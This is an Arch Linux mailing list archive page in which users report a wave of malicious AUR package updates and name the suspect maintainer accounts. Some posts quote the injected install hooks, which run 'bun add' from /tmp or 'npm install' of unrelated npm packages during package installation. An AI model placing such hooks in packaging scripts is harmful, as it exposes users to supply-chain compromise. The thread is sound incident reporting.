June 2026 - Aur-general - lists.archlinux.org

Re: AUR REPORT THREAD
by PerikiyoXD 12 Jun '26

12 Jun '26

- sonixd https://aur.archlinux.org/cgit/aur.git/commit/?h=sonixd&id=1753cf6624a9d95c… - sachesi-bin https://aur.archlinux.org/cgit/aur.git/commit/?h=sachesi-bin&id=f9b05850af5…

1 0

Suspicious/malicious update to alvr
by Kusoneko 12 Jun '26

12 Jun '26

Hello, The newest maintainer for the alvr AUR package has made a commit that adds npm packages to what is quite clearly not a npm project. As well as replaced the email addresses of previous maintainers with their own while keeping the same name as the latest committer. More can be seen from the comments of various users since this update has been pushed. https://aur.archlinux.org/cgit/aur.git/tree/alvr- deps.install?h=alvr&id=0a0ba889acbf354b5d912240993bffcb4ca21f29 Package link: https://aur.archlinux.org/packages/alvr New maintainer/malicious user: krisztinavarga Thank you, Kusoneko.

4 3

New wave of attack using bun
by Cedric Girard 12 Jun '26

12 Jun '26

Hi, There is a whole new wave of PKGBUILD being adopted with probably malicious command added. This time using a tool called "bun". Some examples: * https://aur.archlinux.org/pkgbase/guiscrcpy * https://aur.archlinux.org/pkgbase/netmon-git Regards, -- Cedric Girard

3 3

Re: AUR REPORT THREAD
by lists.archlinux＠ihavea.quest 12 Jun '26

12 Jun '26

miniongg has had a suspicious update: ``` +post_install() {{ + cd /tmp + bun add minimist js-digest +}} ``` See: https://aur.archlinux.org/cgit/aur.git/commit/?h=miniongg&id=58250f380c60f3… ttf-mutant-emoji even overwrites my identity See: https://aur.archlinux.org/cgit/aur.git/commit/?h=ttf-mutant-emoji&id=530ea1… ttf-mutant-emoji: https://aur.archlinux.org/packages/ttf-mutant-emoji miniongg: https://aur.archlinux.org/packages/miniongg -- txtsd https://ihavea.quest On 6/11/26 11:17 PM, Jonathan Grotelüschen wrote: > Hi everyone, > > we’re working hard to reset/delete all malicious commits and ban the > accounts. > > If you find more malicious packages, please **send them as a reply to > this email** to keep them all in one thread. > > Thanks! > > -- > tippfehlr

1 0

Re: AUR REPORT THREAD
by Nicolas Boichat 12 Jun '26

12 Jun '26

Indeed. I guess there's some caching involved. Thanks! On Fri, Jun 12, 2026, 13:37 Ralf Mardorf <ralf.mardorf(a)alice-dsl.net> wrote: > I had the same impression earlier with another package, but after > refreshing the page, the problem disappeared. > > The package you mentioned seems to be ok, too. > > https://aur.archlinux.org/cgit/aur.git/log/?h=python-axolotl-git > > On Fri, 2026-06-12 at 12:42 +0800, Nicolas Boichat wrote: > > This one still look bad: > > https://aur.archlinux.org/cgit/aur.git/commit/?h=python-axolotl-git > > > > > > On Fri, 12 Jun 2026 at 01:47, Jonathan Grotelüschen > > <tippfehlr(a)archlinux.org> wrote: > > > > > > Hi everyone, > > > > > > we’re working hard to reset/delete all malicious commits and ban the > > > accounts. > > > > > > If you find more malicious packages, please **send them as a reply > > > to > > > this email** to keep them all in one thread. > > > > > > Thanks! > > > > > > -- > > > tippfehlr >

2 1

Malicious update to gnome-randr-rust
by Mark Wagie 11 Jun '26

11 Jun '26

A new Maintainer adopted gnome-randr-rust and added an install file with the following: npm install atomic-lockfile yargs https://aur.archlinux.org/cgit/aur.git/commit/?h=gnome-randr-rust&id=da9f4c…

17 38

Few more malicious packages
by Sasha Moak 11 Jun '26

11 Jun '26

I wasn't subbed to the list to get the AUR REPORT THREAD, but here are some more suspicious packages: All doing the npm shenanigans so definitely sus: https://aur.archlinux.org/packages/android-support-repository https://aur.archlinux.org/packages/monochrome https://aur.archlinux.org/packages/blinkenlib https://aur.archlinux.org/packages/perl-set-object

1 0

Malicious users franziskaweber tobiaswesterburg ellenmyklebust
by Fabio Loli 11 Jun '26

11 Jun '26

Hi all, I've checked the updates notification so far, these are all malicious https://aur.archlinux.org/packages?K=franziskaweber&SeB=m https://aur.archlinux.org/packages?K=tobiaswesterburg&SeB=m https://aur.archlinux.org/packages?K=ellenmyklebust&SeB=m

1 0

Re: Reply to topic: 'multiple malicious AUR updates'
by Mark Wagie 11 Jun '26

11 Jun '26

...and another one gnome-terminal-fedora: https://aur.archlinux.org/cgit/aur.git/commit/?h=gnome-terminal-fedora&id=8…

2 2

Malicious updates zathura-gruvbox-git, python2-mutagen, fastoggenc etc
by Fabio Loli 11 Jun '26

11 Jun '26

2 1